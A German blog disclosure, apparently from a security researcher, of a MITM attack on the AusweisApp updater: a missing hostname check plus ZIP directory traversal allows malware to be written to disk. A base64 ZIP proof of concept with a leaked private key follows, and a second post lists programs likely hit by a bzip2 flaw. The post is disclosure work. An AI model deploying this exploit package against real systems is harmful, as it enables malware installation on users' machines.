Gestern Abend wurde die AusweisApp freigegeben, und damit stand fest: Das wird für mich eine lange Nacht. Ich habe mir eine schöne Liste möglicher Angriffe zurechtgelegt. Wenn die einzelnen Angriffe klappen, werden sie einige hässliche Dinge ermöglichen. Ich bin mir recht sicher, dass einer der Angriffe in der Lage sein wird, die PIN und evtl. die aufgedruckte Kartenzugangsnummer zu klauen, ohne dass (wie beim CCC-Angriff) der Rechner des Nutzers verseucht werden muss. Ein anderer Angriff erlaubt es eventuell, dem Nutzer vorzutäuschen, dass er sich für etwas harmloses ausweist, während der Angreifer mit dessen Identität einkaufen geht. Eventuell kann man so auch ein Signaturzertifikat für die qualifizierten elektronischen Signaturen mit dem Namen des Opfers bekommen.

Da ich allerdings weder Lesegerät noch ePerso habe, konnte ich die Angriffe nicht ausprobieren. Also habe ich mir stattdessen die AusweisApp selbst vorgenommen. Von besonderem Interesse war dabei die Updatefunktion. Kann ein Angreifer diese kontrollieren, könnte es ihm gelingen, Malware auf dem Rechner des Users einzuspielen. Das wissen natürlich auch die Entwickler, und deswegen ist die Updatefunktion ordentlich gesichert: Zunächst wird vom Updateserver über eine HTTPS-geschützte Verbindung eine Versionsdatei geholt. Dort wäre für einen Angreifer normalerweise Schluss, denn HTTPS ist (halbwegs) sicher. Der Client überprüft auch, ob das Zertifikat gültig ist – da hört es aber auch schon auf. Der Client prüft nicht, ob das Zertifikat auch zum Servernamen passt! Somit braucht der Angreifer nicht ein gültiges Zertifikat für den Updateserver (welches er hoffentlich nicht bekommen sollte), sondern ein beliebiges gültiges Zertifikat (z. B. für seine eigene Website, welches er selbstverständlich bekommt – Nachtrag: Wir reden hier über gewöhnliche SSL-Zertifikate die es an jeder Ecke gibt, nicht über irgendwelche eID-Berechtigungszertifikate!). Das ist übrigens ein Fehler den man in Java leicht machen kann: Die eingebauten Libraries prüfen soweit ich weiß das Zertifikat, aber den Hostnamen muss man ausdrücklich selbst prüfen.

Mittels einer DNS-Manipulation (für die es im praktischen Einsatz zahlreiche Wege gibt, DNS ist ein völlig unverschlüsseltes Protokoll – zur einfachen Demonstration kann man die Hostsdatei manipulieren) können wir nun den Client überreden, sich zu unserem falschen Update-Server zu verbinden und dessen Zertifikat akzeptieren. Da ich kein eigenes SSL-Zertifikat habe, habe ich einfach das genommen, dessen Key Akamai vor ein paar Jahren freundlicherweise (unfreiwillig) öffentlich gemacht hat. Damit dieses Zertifikat als gültig angesehen wird, muss die Uhr auf dem Client verstellt werden – mit einem aktuellen Zertifikat würde das anders aussehen. (Ich hab auch noch andere, ebenfalls leider abgelaufene, Zertifikate getestet.)

Der Updatefunktion kann nun eine manipulierte Antwort untergeschoben werden, welche sie anweist, eine Datei von einer beliebigen URL herunterzuladen und zu installieren. Der Updater erwartet hierbei eine ZIP-Datei. Diese wird entpackt und dann sollte eigentlich eine bestimmte .msi-Datei darin ausgeführt werden. Hier waren die Entwickler allerdings schlau genug, noch eine Signatur einzubauen, die vor dem Ausführen geprüft wird. Hier ist also eigentlich wieder einmal Schluss. Allerdings wird die ZIP-Datei vor der Signaturprüfung bereits entpackt, und ZIP-Dateien können relative Pfadangaben enthalten. Mit einem (per Hexeditor) in der ZIP-Datei eingebauten „../../“ kann man aus dem temporären Verzeichnis ausbrechen und somit beliebige Dateien ins Dateisystem schreiben (directory traversal). Beispielsweise eine Schadsoftware ins Autostartverzeichnis. Vorhandene Dateien werden übrigens gnadenlos überschrieben.

Ein Dolev-Yao-Angreifer, d.h. ein Angreifer, welcher den Netzwerkverkehr beliebig manipulieren kann, jedoch nicht in der Lage ist als sicher geltende Verschlüsselung zu brechen oder den Client des Opfers vorher zu manipulieren, kann somit aufgrund zweier Implementierungsfehler in der AusweisApp über die Auto-Update-Funktion Schadsoftware einspielen.

Der Angriff ist gegen die aktuelle AusweisApp getestet, die sich bei der Installation als 1.0.1, beim Update als 1.0.0 identifiziert.

Diese Lücke können die Entwickler natürlich relativ einfach schließen. Aber was ist mit den anderen, sicherlich noch vorhandenen, unentdeckten Lücken? Mitgeliefert wird beispielsweise eine Java-VM der Version 6 Update 18 – aktuell ist Update 22. Die Kryptographie des Personalausweises selbst mag bewiesen sicher sein. In den umliegenden Protokollen jedoch erwarte ich die ein oder andere Lücke, von denen sich einige leicht, andere vielleicht gar nicht nachträglich stopfen lassen. Der Panzerschrank mag absolut unknackbar sein – was aber, wenn der Angreifer einfach den Besitzer unter falschem Vorwand bittet, ihn aufzuschließen, und/oder den ganzen Schrank mitnimmt?

Ich bedanke mich jedenfalls für diese nette Herausforderung der heutigen Nacht. Gute Sicherheitsmaßnahmen mit kleinen unscheinbaren Löchern, die kreative Kombinationen von Angriffen erfordern, nicht trivial, aber machbar. Genau nach meinem Geschmack. Hat Spaß gemacht! Den Preis, den diese Wirtschaftsförderungsmaßnahme gekostet hat, ist das allerdings nicht wert.

Die Dateien zum Demonstrieren des Angriffs gibts hier als base64-encodetes ZIP-File:


_=_ 
_=_ Part 001 of 001 of file ausweisapp-updatehack.zip
_=_ 

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
dFBLBQYAAAAACAAIAOoBAADKDgAAAAA=

(SHA1: 22b96851042bfece3c641851eaa6e890a7b28bff)

Kontakt/Fragen bitte über die Kommentarfunktion wenn es Zeit hat oder per Jabber (XMPP, Google Talk) an janschejbal at jabber.ccc.de (das ist keine Mailadresse!) wenn es dringend ist. Telefon ist ungünstig. Notfalls geht auch Mail an janhomepage [at] gmx punkt net.

Sicherheitslücke für alle

2010-09-21 2 Kommentare

In bzip2 gibt es eine Sicherheitslücke. Das ist deswegen so schlimm, weil das ein wichtiges Kompressionsverfahren ist und somit von sehr vielen Formaten und Programmen genutzt wird. Ich schätze daher, dass so gut wie jeder Computernutzer mindestens ein Programm nutzt, was von dieser Lücke betroffen ist.

Unter Linux ist das keine große Sache – jede Library (also Sammlung von Programmfunktionen, die von anderen Programmen benötigen werden, z. B. auch die betroffene bz2-Library) wird einmal zentral installiert und alle Programme greifen dann darauf zu. Somit kann man die kaputte Version an einer Stelle austauschen und hat das Problem gelöst. Unter Windows bringt fast jedes Programm seine eigenen Kopien der benötigten Libraries mit, man darf also jedes betroffene Programm einzeln aktualisieren – sobald der Hersteller ne aktuelle Version bereitgestellt hat. Und es werden viele Programme betroffen sein.

Um sich ein Bild zu verschaffen, habe mittels apt-rdepends -r auf einem Linuxrechner geschaut, was für Programme direkt oder indirekt von bzip2 abhängen, es also irgendwie nutzen. In einigen Fällen wird bz2 vielleicht nur für einen Installer o.ä. verwendet, sodass eine Windowsversion des Programms nicht betroffen ist, oder die Windowsfassung kann bzip2 nicht, oder bzip2 wird sonstwie so eingesetzt, dass die Sicherheitslücke irrelevant ist. Bei den genannten Programmen ist aber das Risiko, dass sie betroffen sind, recht hoch. Zum Gruseln hier ein paar Auszüge aus der Liste mit für Windowsuser relevanten etwas bekannteren Programmen (nochmal: ein Eintrag hier bedeutet, dass das Programm eine gute Chance hat, betroffen zu sein, nicht, dass es das tatsächlich ist!):

  • Apache (Webserver)
  • AssaultCube (Egoshooter)
  • Audacity (Audio-Editor)
  • Avidemux (Videoschnitt)
  • Azureus (BitTorrent-Client, vermutlich eher nicht betroffen)
  • BallView (Molekülvisualisierungssoftware)
  • Blender (3D-Editor)
  • BOINC (Seti-at-home-Client)
  • Chromium (Browser, Chrome-Klon)
  • ClamAV (Antivirus)
  • Codeblocks (Entwicklungsumgebung)
  • (… – ab hier bin ich die Liste nicht systematisch durchgegangen, sondern hab gesucht)

  • Firefox
  • Inkscape (Vektorgrafik)
  • Diverse PDF-Reader?

Wie man sieht, ist die Liste lang, und ich werde nicht das ganze Alphabet durchgehen. Grundsätzlich hat man gute Chancen, bzip2 in folgenden Sachen 1. zu finden 2. an einer Stelle zu finden, wo es regelmäßig nicht vertrauenswürdige Daten abbekommt:

  • Browser
  • P2P-Programme
  • Alles was mit Bildern zu tun hat
  • Antivirensoftware
  • Entpacker (d’oh)

Auch die Liste könnte natürlich fortgesetzt werden. Ich freu mich schon auf die Updaterei.

Eine Suche nach bzip2.dll liefert auch eine schöne Liste…

  • MikTex (LaTeX-Umgebung)
  • Inkscape (Vektorgrafik, siehe oben)
  • Gimp (Bildbearbeitung)
  • Mumble (Sprachkommunikation, freie Alternative zu TeamSpeak)

Es wird sicherlich viele Programme geben, bei denen die Datei anders heißt oder die fehlerbehafteten Funktionen statisch gelinkt (=direkt in die EXE eingebaut) oder in einer anderen DLL enthalten sind.